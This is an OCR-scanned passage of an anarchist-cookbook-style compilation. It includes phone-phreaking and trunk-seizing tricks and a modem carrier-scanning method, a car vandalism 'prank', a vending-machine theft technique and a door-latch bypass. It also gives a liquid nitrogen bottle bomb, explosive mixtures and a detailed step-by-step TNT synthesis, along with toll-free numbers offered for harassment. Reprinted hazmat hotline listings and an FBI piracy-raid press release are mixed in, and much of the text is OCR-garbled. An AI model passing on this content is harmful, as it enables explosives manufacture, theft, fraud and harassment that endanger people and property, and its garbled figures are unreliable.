(If the above date/time matching is too much of a pain for the really retarded out there, set your computer date/time to any past ones close to 
the originals, and fuck with ALL the files, thus making them all match.) 



Battery Bombs: 

Batteries like Duracell, Eveready, Energizer, etc... are specially made for home use and will not under any condition, explode when simply 
connected to each other. Therefore, generic batteries are required. These batteries can be obtained in hick country, or from a shitty 
wholesaler. I've heard of phriends putting 9Vs in the fucking microwave for a minute or so, and this is supposed to disable the "exploder 
protector", but anyone who puts batteries in a microwave, should have the batteries explode on them. I never found out if 2 9v batts 
connected really do explode. I hope so. 



Any Blue Boxers?? 

Not many people use blue boxes these days. They've become an eminent danger to phreakers. Ma Bell has new equipment to detect the use of 
tone-emitting boxes, and about the only safe place to box calls from is the handy -dandy pay phone at the end of the block. The only way to 
box calls today is to switch off to another switching system with another number: i.e.- 

Call a store like Toys-'R'-Us, (1-908-322-6065 Livingston, NJ) and ask for the technical (video game) department. This switches the number 
from the above to the extension of the department, usually and extension, but it can be a totally different # you are sent to while you are on 
hold. This is VERY good. Bullshit the employee at the tech dept., and wait for HIM to hang up first. That disconnects you from his department, 
but not from the interconnections of the store. (It might even be possible to dial a number and get another department at this point). This is like 
'stacking' trunks. Their dialtone (inside the store) may have a slightly higher/lower pitch than a dialtone at your house. This is what you want. 
Now, blow 2600 across the line, and you should have access to a trunk, and Bell Labs think that the store did it, and it is not usually questioned 
because the computer might think that it is part of their paging system, (not 1 00% sure, test around) 

When someone (preferably who you don't give a shit about) calls, dial *69 to ring him back(lf your area subscribes to this feature). What 
should happen is that the *69 tone asks the Bell computer to call back the person. The COMPUTER does the calling at this point. Now when 
your friend picks up, bullshit him into hanging up first. Now the computer is getting the dialtone first, then it passes it on to you. If you blow 2600 
at this point, the computer may think it is its own equipment doing the calling. I'm REALLY not sure about this one. Hopefully this one works, but I 
can't test it because some fucked up, shit full, douche nozzle, pig fucker broke my MF box. <frown> MF boxes are not that hard to come by. 
Many hobby shops, music instrument stores, or electronic stores may sell the MF box itself, or one that detects tones, which can be used in 
the reverse way. 



Good Technical Phone Numbers: 

Sometimes the hardest part of getting technical support is finding a place to look. An easy place is MIT (HOME OF THE ORIGINAL PHREAKS) 
Find the number for the Electronic engineering campus, call and say you would like the number for (give room # make one up if you have to), or 



call the person in charge of dorm assignments (buy a college book if you need to). Eventually, if done right, you will have a list of possible #s, 
and set your modem on scan, and look for carrier detect. One of these nerds.. .ahm! I mean Geniuses must have a computer with a modem, and 
these guys will answer about 1 00% of your technical problems. 



Practical Jokes: 

If you are into practical jokes like I am, than here is a book for you: 
"The Second Official Handbook of Practical Jokes" 
by: Peter Van Der Linden 

There are hundreds of good practical jokes and phone scams, as well as a section of computer jokes, with a whole program of re-writing the 
G0MMAND.COM file to be funnier than ever. 

176.Shaving Cream Bomb by Exodus 



This may not really be what we would consider a bomb, but it is a helluva great idea to phuck someone over. You will need: 

• (1 ) Person you hate who has a car. 

• (1 )-Container of liquid nitrogen (try a science shop, or Edmund Scientific, mentione d in several places in this Cookbook) 

• {6-10)-Gans of generic shaving cream. 

• (1 )-Free afternoon (preferably in FREEZING temperatures outside) 

• (1 -or more)-Pairs of pliers, for cutting and peeling. 

• Some phriends. 



Directions: 

Find someone who owns a small compact car, and manage to find out where he keeps it at night (or while he is away!) Be able to open the car 
repeatedly.. Place a can in the liquid nitrogen for about 30 sec. Take it out and carefully and QUICKLY peel off the metal outside container, and 
you should have a frozen "block" of shaving cream. (It helps to have more than one container, and more phriends) Toss it into the car and do 
the same with all the cans. A dozen or more "blocks" like this can fill and lightly PRESSURIZE a small car. When he opens the door (hopefully he 
doesn't realize the mess inside due to the foggy windows), he will be covered with pounds of shaving cream that is a bitch to get out of 
upholstery. 



PSf Try to get one is his glove compartment!!ll! 

177.Another good way to rip off a change or drink machine by ?id flesh 

You first get a nice new dollar to work with. Make sure there are no rips in it. Now, you get a thin piece of transparent plastic about 3/4 the 
width of the actual dollar. It must be a good 6" or longer. Next, you need some transparent tape. Scotch magic tape will work the best. You 
simply tape the plastic strip to the dollar. But, you must be careful not to tape it more than «" up the side of the dollar. Tape it on both sides 
(front and back, not top and bottom) of the dollar. Now, all you have to do is use it: 

Walk casually up to the secluded machine. Take out your dollar, and put it into the machine. BE CAREFUL! Some of the more modern change 
machines have alarms! Most likely, though, drink or candy machines will not. Now, the machine starts taking your dollar.... You wait until your 
plastic strip is almost ail the way into the machine, and then you pull with sufficient force to get the dollar out of the machine, but not rip it. If you 
did it correctly, you should have gotten whatever you bought, and still have your dollar for later use. On candy machines, though, make your 
selection, and then wait and pull the dollar out. Don't worry if you don't get it on the first few tries. It took me about 5 tries to master it. It DOES, I 
repeat DOES work for a fact if done correctly. If you just can't get it, though, either the machine is too sophisticated, or you put the tape up too 
high on the dollar. Have fun!!!! 



1 78.Lockpicking for the EXTREME beginner... 



by ?id flesh 



This is really a good method for opening doors that are locked. The only problem with this, though, is that it only works for outward opening 
doors. OK, here we go.... 

1 .Realize you are not working with the actual lock, but that thing that sticks between the door and the wall. 
2.See how that thing is curved on one side? Well, that is what we will be making use of. 

3. Acquire a large paper-clip. If it is too short, it won't work. You have to also have a shoelace. Now, onto the construction... 
4.Straighten the paper-clip. 

S.Loop one end of the paper clip around the shoelace. The shoelace should be about 4/5 on one side of the clip and 1/5 on the other. Let's see 
if I can draw it. 



— is the paper clip 
*** is the shoelace 

That's not very good, but I hope you get the picture. 

6. AII you have to do now is curve the paper clip (no, I won't draw it) 

7. With the curved paper-clip, stick it between the door and the wall, behind the metal thing that sticks between. 
S.Feed it through with you hand, until you can grip both sides of the shoelace. 

9.Now, simply pull the lace and the door at the same time, and VIOLA! the door is open. 

I prefer this over regular lock-picking if the door opens outward, because it is a lot quicker. Lock picking can take 5 minutes... When done 
correctly this only takes 30 secondsl So, if you can, use this. 



179.ANARCHY 'N' EXPLOSIVES - PRELUDE VOLUME bv Exodus 

For you people that like blowing things up and shit like that, here's something that's not as dangerous or as difficult as more of the explosives 
available (or able to create)... It's called the LNy Bomb (Short for Liquid Nitrogen Bomb). Very easy to make: 

Ingredients: 

• 1 Plastic Two Liter Bottle 

• Enough Liquid Nitrogen To Fill The Bottle 

Instructions: 

Fill the bottle with liquid nitrogen. Then cap as tightly as possible. The vaporization of the nitrogen will create enough pressure in the bottle 
(within 5-15 minutes) to break it with a quite strong explosive force... Very Easy... 

USE AT YOUR OWN RISK.... 

800 #'s to phuck with Compiled by The Duelist 

CALL JYER INC. xxx-xxx-xxxx 

Numbers with a ? either call fonward to take you on some trip through switches, but I'm sure if you fuck around with it enough you will get 
there tone somewhere. 

Have fun Laterl 

800- 

4261244? 
6456561 VMS 
2471753? 



5244040 ? 
6348026 ? 
6677827 ? 

8723425 ? (Extension dialer) 

992891 1 ? Modem 

6242367 VMS (#) 

4262468 ? 

3389549 VMS 

2220400 ? 

5376001 ? 

3439255 VMS (#) 

8326979 ? 

2339558 VMS 

7299000 ? 

5335545 ? 

3332222 ? 

3335555 VMS 

3338888 ? 



==== TOLL-FREE NUMBERS AND ON-LINE DATABASES ===== 

There are many toll-free assistance numbers and on-line databases available to federal, state, local, and private sector personnel. Some may 
be available through a federal or state agency, while others are publicly available on commercial systems or through private organizations. 
Except for their own, neither DOT nor FEMA endorses the following toll-free telephone numbers or on-line databases. 

1 .Federal and State Toll Free Technical Assistance Sources 

2. Private Sector Toll Free Technical Assistance 

3. Federal and State Agency Online Databases 

4. Commercial and Private Online Databases 

FEDERAL AND STATE TOLL FREE TECHNICAL ASSISTANCE SOURCES 

US Coast Guard - National Response Center: 1-800-424-8802 
in Washington, DC - (202)426-2675 
(202)267-2675 

EPA REGDNAL HOTLINES 

EPA has now established a Hotline in each of it's regional offices to handle Title III reporting. Please make note of the number for the office in 
your area. 

Nation-wide - (800) 53S0202 

In Alaska and DC - (202) 479-2449 

In the Regional Offices: 

Region I - Boston, MA - (617) 565-3273 
Region II- Edison, NJ - (201) 321-6765 
Region III - Philadelphia, PA- (215) 597-1260 
Region IV- Atlanta, GA- (404) 347-3222 
Region V- Chicago, IL - (312) 886-6418 
Region VI - Dallas, TX - (214) 655-7244 
Region VII - Kansas City, KS - (913) 236-2806 
Region VIII - Denver, CO - (303) 293-1730 
Region IX- San Francisco, CA- (415) 974-7054 
Region X- Seattle, WA- (206) 442-1270 

Remember to report all hazardous materials releases to your Local Emergency Planning Committee representative and to your State Emergency 
Response Commission immediately! 



TOXIC RELEASE INVENFTORY REPORTING CENTER 



EPA has established a reading room in the Toxic Inventory Reporting Center (TRC) located at 470 L'Enfant Plaza East, SW, Suite 7103, 
Washington, DC 20024. The reading room provides a place for concerned citizens to review release data as supplied to the Environmental 
Protection Agency (through section 313 reporting). To date, the center has received more than 50,000 of the 300,000 release reports 
anticipated. 

The TRC's is intended to serve as a central receipt point, aid in the sorting recording and storage of release data reported under Title III. 

Additionally the TRC is to provide an easy method to facilitate public inquiries. Anyone can access the chemical information by logging onto a 
data base and calling the information up by using CAS number, state, city and/or facility name. 

Staff from Computer Based Systems, Inc. (EPA contractor) are on-hand to assist with system inquiries between 8:00 am and 4:00 PM, Monday 
through Friday. To schedule an appointment, please call (202)488-1501 . 



CHEMICAL EMERGENCY PREPAREDNESS PROGRAM (CEPP) - 1 -(800) 535-0202 

(202) 479-2449 
Contact: Chemical Emergency Preparedness Program (CEPP) 

Office of Solid Waste and Emergency Preparedness 

US Environmental Protection Agency (WH-548A) 

401 M Street, SW 

Washington, DC 20460 



EMERGENCY MANAGEMEISfT INFORMATION CENTER (EMIC) - 1-800-638-1821 

(301)447-6771 ext6032 
Contact: EMIC Librarian, Learning Resource Center 

National Emergency Training Center 
16825 South Seton Avenue 
Emmitsburg, Maryland 21727 

FEMA established EMIC (Emergency Management Information Center) to assist faculty, staff, students and off-campus users of the National 
Emergency Training Center Learning Resource Center with their research and information needs. EMIC is a special collection of natural and 
technological case study documents that can be requested for loan to state level fire and emergency management officials by applying in 
writing, on official letterhead, to the EMIC librarian. Other requests will be referred back to appropriate states for handling. 



SUPERFUND AND RESOURCE CONSERVATION AND RECOVERY ACT - 1 -800-424^9346 

(202) 382-3000 

Contact: For Superfund - Office of Emergency and Remedial Response 
US Environmental Protection Agency 
401 M Street, SW 
Washington, DC 20460 

For CERCLA- Office of Waste Programs Enforcement 
US Environmental Protection Agency 
401 M Street, SW 
Washington, DC 20460 

EPA established the toll free technical assistance hotline in 1980 to answer questions and provide documents to those needing information on 
the Superfund and Resource Conservation and Recovery Act. 



TOXIC SUBSTANCES CONTROL ACT (TSCA) - (202) 554-1404 

Contact: Toxic Substances Control Act Assistance Office 
Office of Toxic Substances 
US Environmental Protection Agency 

PRIVATE SECTOR TOLL FREE TECHNICAL ASSISTANCE SUPPORT 



CHEMTREC: 1-(800) 424-9300. Alaska, Hawaii and DC (202) 483-7616 
Contact: Chemical Manufacturers Association 



2501 M Street, NW 
Washington, DC 20037. 



The Chemical Manufacturers Association set up the Chemical Transportation Emergency Center (CHEMTREC) to provide immediate assistance 
to those at the scene of accident, 24 hours a day, seven days a week. CHEMTREC maintains an online database on the chemical, physical, and 
toxicological properties and health effects of the thousands of products of the member companies. CHEMTREC operates in two stages; first, 
staff provide chemical information for use in onsite decision making involving handling the early stages of the problem and, second, notifies the 
manufacturer of the product of the accident for more detailed information and appropriate follow-up. 

CHEMNET is activated by a call to CHEMTREC. If a member shipper cannot respond promptly to an incident and a chemical expert is required at 
a site, then the shipper can authorize a CHEMNET-contracted emergency response company to go in its place. 



CHLOREP: Emergency contact through CHEMTREC above. 

Contact: Chlorine Institute 
342 Madison Avenue 
New York, NY 10017. 

The Chlorine Institute in 1972 established its Chlorine Emergency Plan (CHLOREP), a mutual-aid response network of chlorine manufacturers 
and packagers, to provide assistance at chlorine emergencies in the United States and Canada through telephone instructions to on-scene 
personnel or the dispatching of trained teams to sites. Response is activated by a call to CHEMTREC which in turn calls the designated 
CHLOREP contact, who notifies the appropriate team leader based upon CHLOREP's geographical sector team assignments. 

CAER: Community Awareness and Emergency Response information line. This is a 2 minute recorded message informing callers of upcoming 
events related to coordinated emergency response planning. The CAER information number is (202) 463-1599 and is updated twice a month. 

To submit an event to be publicized, send the materials to: 
Todd Miller 

CMA Communications Dept. 
2501 M Street, NW 
Washington, DC 20037 



The Center for Fire Research in the National Bureau of Standards has estabished a public access computer bulletin board. 

Contact: Doug Walton 
System Operator 

U(301)97S6872 

Information on the bulletin board includes: 

• A listing of the most recent reports from the Center for Fire Research; 

• Information on upcoming activities at the Center for Fire Research such as conferences, seminars and workshops; and 

• Information on FIREDOC, the Center's fire research bibliographic system. 

FEDERAL AND STATE AGENCY ONLINE DATABASES 

The Office of Solid Waste and Emergency Response (OSWER) bulletin board is intended to store communications and technology transfer 
among the Regions and with Headquarters staff involved In solid or hazardous waste regulation, permitting, or enforcement and with ORD 
scientists and engineers in Headquarters and laboratories who are supporting OSWER. The OWSER Is operated under contract to the Office of 
Program Management Technology (OPMT). The OSWER BBS offers messages, bulletins, files and computer programs, databases, and 
conferences. Bulletins include OSWER technical training opportunities and ORD technology transfer seminars nationwide, new ORD technical 
publications, the top 25 compounds found at Superfund Sites, and the current status of the SITE technology demonstrations. Conferences 
include: Executive (for EPA managers only), Ground-Water Workstation, Ground-Water Monitoring and Remediation, Risk 
Management/Assessment, and Expert Systems/Geographic Information Systems. The BBS is primarily intended for EPA Regional, 
Headquarters, and ORD personnel, however, OSWER welcomes state and local government agencies and authorized EPA contractors. The 
BBS telephone number is (301) 589-8366, the voice line is (301) 589-8368. 

The Hazardous Materials Information Systems (HMIS) offers two menu-driven programs to assist state, local and Federal agencies. The US 
Department of Transportation (DOT), Research and Special Programs Administration's (RSPA) project offers quick access to both exemptions 
information and informal interpretations. The exemptions menu provides access to the following: exemption numbers, exemption holders, 
expiration dates, container type and DOT specification, hazardous material, shipping name and class, and regulations affected. The 



interpretations menu provides access to informal interpretations issued by the Standards Division, Office of Hazardous IVIaterials 
Transportation. Eacfi search: provides: requester, subject, commodity, container and regulations affected. This service is provided FREE to 
state, local, and federal agencies. Private sector organizations cannot get an account on the HMIS but can call to receive printouts on 
information they need (there is a fee for the printout). In order to gain access to the HMIS you must FIRST ESTABLISH AN ACCOUNT by 
contacting: 

Lessie Graves 

Office of Hazardous Materials Transportation 
Information Services Unit 
FTS/COMM: (202) 366-4555 

Occupational Safety and Health Administration's (OSHA) Computerized Information System (OCIS) is designed to aid OSHA, State OSHA 
Program, and OSHA Area Office staff in responding to employers' and employees' occupational safety and health problems by maintaining 
quick access to various computerized information files. OCIS files are maintained on a Digital Vax 11/750 computer at the Salt Lake City 
Laboratory; BASIS is the database management software; system is accessed from OSHA and State Program offices only; files are menu 

driven; and new capabilities are under development. 

Questions and comments can be directed to: 

OCIS Help Desk 

(801 ) 524^5366 or 524-5896 

FTS 588-5366 or 588-5896 

The National Library of Medicine's (NLM) Toxicology Data Network (TOXNET) is a computerized system of toxicologically oriented data banks, 
offering a sophisticated search and retrieval package which permits efficient access to information on known chemicals and identifies 
unknown chemicals based on their characteristics. TOXNET files include: Hazardous Substances Data Bank (HSDB), Toxicology Data Bank 
(TDB), and Chemical Carcinogenesis Research Informatbn ,System (CCRIS). 

Registered NLM users can access TOXNET by direct dial or through TELENET or TYMNET telecommunications networks. The nations average 
search charges (per hour) are $75.00 for prime time. 

For detailed information on TOXNET contact: 

National Library of Medicine 
Specialized Information Services 
Biomedical Files Implementation Branch 
8600 Rockvllle Pike 
Bethesda, MD 20894 
(301)496-6531 or 496-1 131 

COMMERCIAL AND PRIVATE ONLINE DATABASES 
FIREDOC: Nations available From NBS 

The Center for Fire Research in the National Bureau of Standards has made its computerized bibliographic system, FIREDOC, available for 
searching on-line. The system can be accessed by telephone using a computer as a terminal. About 7,000 items from the Center's collection 
are currently entered in the FIREDOC system. For further information including instructions on access and use of FIREDOC, contact: 

Nora Jason 

Technical Information Specialist 
Center for Fire Research 
(301)975-6862 

CFRBBS is a public access computer bulletin board sponsored by: the Center for Fire Research, National Bureau of Standards, US Department 
of Commerce, in Gaithersburg, MD 20899. It features computer programs developed by the Center of Fire Research. Contents of the board 
include: fire simulation programs, information on FIREDOC (the Center for Fire Research bibliographic search system; FIREDOC users guide; 
and FIREDOC compatible communications package), information on upcoming activities at the Center for Fire Research, and a listing of the most 
recent year's reports from the center. There is no connect fee for using the board; however the user pays for the phone call. For more 
information contact Doug Walton, System Operator, at (301) 97S6872. 

Public Health Foundation's Public Health Network (PHN) users have full access to all GTE Medical Information Network (MINET) services, and 
can communicate directly with users in PHN and other divisions of MINET. Access to Surgeon General, NLM/NIH, CDC, and American Medical 
Association information services (e.g.. Disease Information, Drug Information, Medical Procedure Coding, Socioeconomic Bibliography, Expert 
Medical Physician Information Retrieval and Education Service, Massachusetts General Hospital (MGH) Continuing Medical Education, and AP 
Medical News Service) are available ranging in price from $21 to $39 an hour of connect time. 

Subscription fee, payable on a one-time basis is $500.00, each additional user is registered at $25.00, and a User's Guide costs $15.00. 
Connect time rates range from $14 an hour peak to $7 an hour off-peak, character transmission charges are $.05 per 1 ,000 characters. 



For detailed information on PHN or IVIINET contact: 
The Public Health Foundation 
1220 L Street, NW 
Suite 350 

Washington, DC 20005 
(202) 898-5600 

Information Consultants, Inc.'s Chemical Information System (ICIS) and Chemical Information System, Inc.'s (Fein Marquart Associates) System 
(CIS) are two competing companies which offer approximately 35 databases each, some similar, others different. Databases available for 
searching include, for example: Oil and Hazardous Materials Technical Assistance Data System (OHMTADS) with emphasis on environmental 
and safety data for spills response; Chemical Evaluation Search and Retrieval (CEASARS) gives very detailed, evaluated profiles with physical 
and chemical, toxicological and environmental information; NIOSH Registry of Toxic Effects of Chemical Substances (RTECS) with acute 
toxdata, TLV's, standards, aquatic tox, regulatory information, and NTP test status; Chemical Carcinogensis Research Information System 
(CCRIS) giving results of carcinogenicity, mutagenicity, tumor promotion and carcinogenicity tests under National Cancer Institute contract; 
GENETOX with genetic assay studies; AQUIRE with aquatic toxicity information; DERMAL with dermal toxicity information. 

Subscriber ($300 per year and $25-85 per hour of connect time) and nonsubscriber ($50-1 1 5 per hour connect time) options exist. 

For detailed information contact: 

CIS, Inc. or Information Consultants, Inc. 

Fein Marquart Associates 11 33 1 5th St., NW 

7215 York Road Washington, DC 20005 

Baltimore, MD 21212 (202)822-5200 
(800) 247-8737 



180. ANARCHY 'N' EXPLOSIVES - VOLUME 1 by Exodus 

You may ask "Now why would I want to know some obsolete, unused, utterly useless, toll free numbers" Well, what you use this information 
for is up to you, and if you want to use it for some thing like... well, like, forcing that line to be busy for 2 straight days thus causing the 
company to lose money, is completely up to you. 

Magazines 



Playgirl Advisor (800)854-2878 (except CA) 

TV Guide (800)523-7933 (except PA) 

Ladie's Home Journal (800)327-8351 (except FA) 

Sports Illustrated (800) 621-8200 (except IL) 

Book Digest Magazine (800) 228-9700 (except Nebraska) 

Money (800)621-8200 (except I L) 

Mail Order 



(bowling equip.) (800)323-1812 (except IL) 
Edd the Florist, Inc. (800) 247-1075 (except lA) 
Golf Mail Order Co. (800)327-1760 (except FA) 
Inflate-a-bed (800)835-2246 (except KS) 
International Male (800) 854-2795 (except CA) 
Porta Yoga (c.c. orders)(800) 327-8912 (except FA) 
Unique Products Co. (800) 228-2049 (except Nebraska) 
Ski Resorts 



HN Concord (800) 431-221 7 (only New England States) 

Mt. Snow (800) 451-421 1 (Eas orrn Seabord) 

Ski Us at Franconia (800) 258-0366 (Eastern Seabord) 
Stevensville (800) 431-221 1 (New England States) 
Mannequins 



Dann-Dee (800)621-3904 (except I L) 

Car Rentals 



A-Aaron, Inc. (800)327-7513 (except FA) 
Airlines Rent-A/Car (800)228-9650 (FA only) 
Dollar- A- Day (800)421-6868 (except FA) 
Hertz (800)261-1311 (Canada only) 

Sears Rent-A-Car (800)228-2800 (except Nebraska) 



Thrifty Rent-A-Car (800) 331 -4200 (except Oklahoma) 
Newspapers 



Globe Gazette (800)392-6622 (lAonly) 
Oil Daily (800) 223-6635 (except NY) 

Christian Science Motor (800) 225-7090 (except MS) 
Wall Street Journal (800)257-0300 (except NJ) 
The National Observer (800)325-5990 (except MO) 

FBI raids major Ohio computer bulletin board; action follows joint investigation with SPA. 

The Federation Bureau of Investigation on Saturday, Jan. 30, 1993, raided "Rusty & Edie's," a computer bulletin board located in Boardman, 
Ohio, which has allegedly been illegally distributing copyrighted software programs. Seized in the raid on the Rusty & Edie's bulletin board were 
computers, hard disk drives and telecommunications equipment, as well as financial and subscriber records. For the past several months, the 
Software Publishers Association ("SPA") has been working with the FBI in investigating the Rusty & Edie's bulletin board, and as part of that 
investigation has downloaded numerous copyrighted business and entertainment programs from the board. 

The SPA investigation was initiated following the receipt of complaints from a number of SPA members that their software was being illegally 
distributed on the Rusty & Edie's BBS. The Rusty & Edie's bulletin board was one of the largest private bulletin boards in the country. It had 124 
nodes available to callers and over 14,000 subscribers throughout the United States and several foreign countries. To date, the board has 
logged in excess of 3.4 millbn phone calls, with new calls coming in at the rate of over 4,000 per day. It was established in 1987 and had 
expanded to include over 19 gigabytes of storage housing over 100,000 files available to subscribers for downloading. It had paid subscribers 
throughout the United States and several foreign countries, including Canada, Luxembourg, France, Germany, Finland, the Netherlands, Spain, 
Sweden and the United Kingdom. 

A computer bulletin board allows personal computer users to access a host computer by a modemequipped telephone to exchange 
information, including messages, files, and computer programs. The systems operator is generally responsible for the operation of the bulletin 
board and determines who is allowed to access the bulletin board and under what conditions. For a fee of $89.00 per year, subscribers to the 
Rusty & Edie's bulletin board were given access to the board's contents including many popular copyrighted business and entertainment 
packages. Subscribers could "download" or receive these files for use on their own computers without having to pay the copyrighted owner 
anything for them. 

"The SPA applauds the FBI's action today," said llene Rosenthal, general counsel for the SPA. "This shows that the FBI recognizes the harm 
that theft of intellectual property causes to one of the US's most vibrant industries. It clearly demonstrates a trend that the government 
understands the seriousness of software piracy." The SPA is actively working with the FBI in the investigation of computer bulletin boards, 
and similar raids on other boards are expected shortly. Whether it's copied from a program purchased at a neighborhood computer store or 
downloaded from a bulletin board thousands of miles away, pirated software adds to the cost of computing. According to the SPA, in 1991, 
the software industry lost $1 .2 billion in the US alone. Losses internationally are several biiiion dollars more. 

"Many people may not realize that software pirates cause prices to be higher, in part, to make up for publisher losses from piracy," says Ken 
Wasch, executive director of the SPA. In addition, they ruin the reputation of the hundreds of legitimate bulletin boards that serve an important 
function for computer users." The Software Publishers Association is the principal trade association of the personal computer software 
industry. It's over 1 ,000 members represent the leading publishers in the business, consumer and education software markets. The SPA has 
offices in Washington DC, and Paris, France. 



CONTACT: Software Publishers Association, Washington 
llene Rosenthal.. 202/452-1600 Ext. 318 
Terri Childs 202/452-1600 Ext. 320 
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This volume defines a few varieties of misc. explosives, charges, and whatever I had in mind at that time. Anyway, these formulas are not as 
precise in measurements for they were given in brief summary. However, they will work, and if used correctly can be safe and "fun". 

FRENCH AMMONAL [Low Explosive]: 
Ingredients: 

• 86% Ammonium Nitrate 

• 6% Stearic Acid 

• 8% Aluminum Powder 



Description: 



French ammonal is an easily improvised low explosive mixture. It is generally less effective than an equal weight of TNT. The material is loaded 
by pressing it into a suitable container. Initiation by an Engineer's special blasting cap is recommended. 

Comments: 

This material was tested. It is effective. 
References: 

TM31-201-1 , Unconventional Warfare Devices and Techniques, para 1401 . 
TETRYTOL [High Explosive]: 

Ingredients: 

• 75% Tetrytol 

• 25% TNT 

Description: 

Tetrytol is a high explosive bursting charge. It is used as a demolition explosive, a bursting charge for mines, and in artillery shells. The 
explosive force of tetrytol is approximately the same as that of TNT. It may be initiated by a blasting cap. Tetrytol is usually loaded by casting. 

Comments: 

This material was tested. It is effective. 

References: 

TM9-1900; Ammunition, General, page 55. Military Explosives, page 188. 
IMPROVISED PLASTIC EXPL03VE FILLER [High Explosive]: 
Ingredients: 

• Finely Powdered Potassium Chlorate 

• Cdata bstals 

• Petroleum Jelly 

• "MIXTHOUROUGHLY" 

Description: 

This plastic explosive filler can be detonated with a No. 8 commercial blasting cap or with any military blasting cap. The explosive must be 
stored in a waterproof container until ready to use. 

Comments: 

This material was tested. It is effective. 
References: 

TM31-210, Improvised Munitions, sec I, No. 1. 
FLAMMABILITY OF GASES [Gas Explosive]: 
Ingredients: 

• Explosive Gas 
Description: 

Under some conditions, common gases act as fuel. When mixed with air, they will burn rapidly or even explode. For some fuel-air mixtures, the 
range over which the explosion can occur is quite wide while for others the limits are narrow. The upper and lower amounts of common fuels 



that will cause an ignitable mixture are shown in the table below. The quantity shown is the percentage by volume of air. If the fuel-air mixture 
is too lean or too rich, it will not ignite. The amounts shown are therefore called limits of inflammability. 



Fuel (Gas) 

Water Gas Or Blue Gas 



Lower Limit 



Gases (% by volume of air) 
Upper Limit 



Natural Gas 
Hydrogen 
Acetylene 
Propane 



Butane 



7.0 
4.7 
4.0 
2« 
2.2 
1.9 



72 
15 
75 
81 
10 
9 



Comments: 



These fuels have been tested under laboratory conditions. They are effective. Ignition depends on method of initiation, uniformity of mixture, 
and physical conditions. 



Bulletin 29, Limits of inflammability of Gases and Vapors H.F. Coward and G.W. Jones, Bureau of Mines, US Govemment Printing Office, 1939. 



This is the MOST important or one of the most important volumes regarding the various mixtures of anarchy that I will be "publishing" to the 

"public". Also, it may as well be the MOST DANGEROUS to prepare, the substance we will be dealing with is Trinitrotoluene, or short - TNT. 
This high explosive is a VERY DANGEROUS, slightly unstable substance. The crystallized crude TNT is about the color of brown sugar and 
feels greasy to the touch. It is suitable for many uses as a high-explosive, but not for the use in highi-explosive shells. It is also highly reactive 
to many other chemical substances. It can be incorporated into dynamite and many other explosives that will be explained in further detail later, 
in other volumes of ANARCHY. 



DO NOT ATTEMPT TO FINISH THIS PROJECT UNLESS YOU ARE FULLY CAPABLE SAFELY EXECUTING TVIE PROCESSES IN A SAFE 
ENVIRONMENT! IF YOU CHOOSE TO CONTINUE READ THE INSTRUCTIONS COMPLETELY THROUGH BEFORE BEGINNING AND HAVE ALL 
MATERIALS AND TOOLS (INCLUDING SAFETY/EMERGENCY EQUIPMENfT) READY FOR USE WHEN OR IF THEY ARE NEEDED. THIS IS NOT A 
JOKEI USE AT YOUR OWN RISKIIII! 

Preparation of Trinitrotoluene (Three Stages). A mixture of 294 grams of concentrated sulfuric acid (density 1 .84) and 147 grams of nitric acid 
(density 1 .42) is added slowly from a dropping funnel to 100 grams of toluene in a tall 600-cc. beaker, while the liquid is stirred vigorously with 
an electric stirrer and it's temperature is maintained at 30flC to 40eC by running cold water in the vessel in which the beaker is standing. The 
addition of acid will require from an hour to an hour and a half. The stirring is then continued for half an hour longer without cooling; the mixture 

is allowed to stand over night in a separatory funnel; the lower layer of spent acid is drawn off; and the crude mononitrotoluene is weighed. 
One-half of it, corresponding to 50 grams of toluene, is taken for the dinitration. The mononitrotoluene (MNT) is dissolved in 109 grams of 
concentrated sulfuric acid (d. 1.84) while the mixture is cooled in running water. The solution in a tall beaker is warmed to SOoand a mixed 
acid, composed of 54« grams each of nitric acid (d. 1 «0) and sulfuric acid (d. 1 .84), is added slowly drop by drop from a dropping funnel while 
the mixture is stirred mechanically. The heat generated by the reaction raises the temperature, and the rate of addition of the acid is regulated 
so that the tenperature of the mixture lies always between 9O0and IOO0 The addition of the acid will require about 1 hour. After the acid has 
been added, the mixture is stirred for 2 hours longer at 9O&1OO0to complete the nitration. Two layers separate on standing. The upper layer 
consists largely of dinitrotoluene (DNT), but probably contains a certain amount of TNT. The trinitration in the laboratory is conveniently carried 
out without separating the DNT from the spent acid. 

While the dinitration mixture is stirred actively at a temperature of about 90q 145 grams of fuming sulfuric acid (petroleum containing 15% free 
SOS) is added slowly by pouring from a beaker. A mixed acid, composed of 72« grams each of nitric acid (d. 1 «0) and the 1 5% petroleum, is 
now added drop by drop with good agitation while the heat of the reaction maintains the temperature at 100-1 150 After about three-quarters 
of the acid has been added, it will be found necessary to apply external heat to maintain the temperature. After all the acid has been added 
(taking 1 « to 2 hours), the heating and stirring are continued for 2 hours longer at 1 00- 1 1 50 After the material has stood overnight, the upper 
TNT layer will be found to have solidified to a hard cake, and the lower layer of spent acid to be filled with cdata bstals. The acid is filtered 
through a Buchner funnel (without filter paper), and the cake is broken up and washed with water on the same filter to remove excess of acid. 
The spent acid contains considerable amounts of TNT in solution; this is precipitated by pouring the acid into a large volume of water, filtered 
off, rinsed with water, and added to the main batch. All the of the product is washed three or four times by agitating it vigorously with hot 
water under which it is melted. After the last washing, the TNT is granulated by allowing it to cool slowly under hot water while the stirring is 
continued. The product, filtered off and dried at ordinary room temperature, is equal to a good commercial sample of crude TNT. It may be 
purfied by dissolving in warm alcohol at 6O0and allowing to cool slowly, or it may be purified by digesting with 5 times its weight of 5% sodium 
hydrogen sulfite solution at 9O0for half an hour with vigorous stirring, washing with hot water until the washings are coloriess, and finally 



References: 
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WARNING: 



granulating as before. The product of this last treatment is equal to a good commercial sample of purified TNT. Pure ALPHA -TNT, melting point 
80.8(2! may be procured by recrystallizing this material once from nitric acid (d. 1 .42) and once from alcohol. 



Well, ttiafs it... AND REMEMBER MY WARNING! 



183.ANARCHY 'N' EXPLOSIVES- VOLUME 4 



by Exodus 



In this particular volume, we will be discussing types of Dynamite, these high -explosives being one of the more important or destructive of the 
anarchist's formulas. Note that some of these mixtures are very unstable or shock ignited, and that care should be observed when handling 
these unstable mixtures. Some of these formulae deal with Trinitrotoluene (TNT) and the preparation for that is given under the volume 3, within 
this series. 

WARNING: 

THESE ARE REAL EXPLOSIVES AND MAY CAUSE SERIOUS INJURY OR DEATH UPON MISUSE. DO NOT ATTEMPT TO PREPARE ANY AS 
SAMPLE IF YOU ARE NOT FULLY CAPABLE OF UNDERSTANDING THE DANGERS AND PRECAUTIONS OF THESE PRODUCTS. THESE 
